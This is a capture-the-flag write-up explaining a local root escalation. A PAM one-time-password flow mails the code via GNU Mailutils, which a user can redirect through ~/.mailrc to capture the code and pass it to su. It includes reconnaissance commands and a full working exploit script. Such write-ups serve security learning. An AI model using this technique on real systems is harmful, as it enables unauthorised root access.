$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A low-privileged SSH account and a PAM root OTP flow expose a trust-boundary flaw in GNU Mailutils configuration. Solution: Override sendmail through the worker's .mailrc, capture the OTP in a FIFO, and feed it to su.
Предоставлены SSH-учётные данные пользователя
worker. Цель — незаметно получить/root/flag.txt.
English summary: Starting from a low-privileged worker shell, obtain the root-only flag. Root authentication through su uses a custom one-time password sent to root's local mailbox.
The usual direct privilege-escalation checks did not provide a route: worker had no useful sudo rights or file capabilities. The productive clue was the custom PAM entry for su:
id sudo -n -l 2>&1 getcap -r / 2>/dev/null cat /etc/pam.d/su cat /usr/local/bin/pam_otp_root.py /usr/bin/mail --version
The relevant PAM configuration was:
auth requisite pam_python.so /usr/local/bin/pam_otp_root.py
For a root login, the module generated nine decimal digits, invoked Mailutils, and only then prompted su for the same value:
p = subprocess.Popen( ["/usr/bin/mail", "-s", "OTP for root login", "root"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE )
The absolute /usr/bin/mail path prevents a simple PATH hijack, but it does not make the invocation safe. At this point PAM is authenticating a requested identity; su has not yet transitioned to root. GNU Mailutils 3.15 therefore runs in the worker context and reads /home/worker/.mailrc.
Mailutils accepts the following user configuration:
set sendmail=/home/worker/sm.sh
This changes its delivery backend to an attacker-controlled executable. The OTP crosses a security boundary through software whose behavior is still configurable by the untrusted caller. It is therefore a trust-boundary and configuration flaw, not a weakness in OTP generation.
An unusual movable SGID-mail helper and an injectable backup script suggested a longer chain, but the backupuser cron job never ran because PAM rejected that account. Exim aliases, .forward, transports, expansions, and queue modes either executed as worker or were restricted. These paths were decoys compared with intercepting the OTP directly at its source.
Create a replacement sendmail program that reads the message from standard input, extracts its nine-digit token, and writes the token to a named pipe:
#!/bin/bash set -eu rm -f /home/worker/otp.pipe /home/worker/mailcopy \ /home/worker/sm.sh /home/worker/.mailrc mkfifo /home/worker/otp.pipe printf '%s\n' '#!/bin/sh' \ 'tee /home/worker/mailcopy | grep -Eo "[0-9]{9}" | tail -1 > /home/worker/otp.pipe' \ > /home/worker/sm.sh chmod 700 /home/worker/sm.sh printf 'set sendmail=/home/worker/sm.sh\n' > /home/worker/.mailrc # Keep both FIFO ends open before starting authentication. exec 3<>/home/worker/otp.pipe su root -c 'cat /root/flag.txt' <&3
The ordering around file descriptor 3 is important. Opening a FIFO only for reading normally blocks until a writer appears, while opening it only for writing blocks until a reader appears. exec 3<>... opens the FIFO read/write in the current shell, returns immediately, and keeps a reader present.
Next, su takes its prompt input from descriptor 3. During PAM authentication, Mailutils reads .mailrc and launches sm.sh; that script receives the OTP mail on standard input and writes the extracted token to the FIFO. su consumes the token from the same descriptor, PAM accepts it, and the requested command executes as root.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar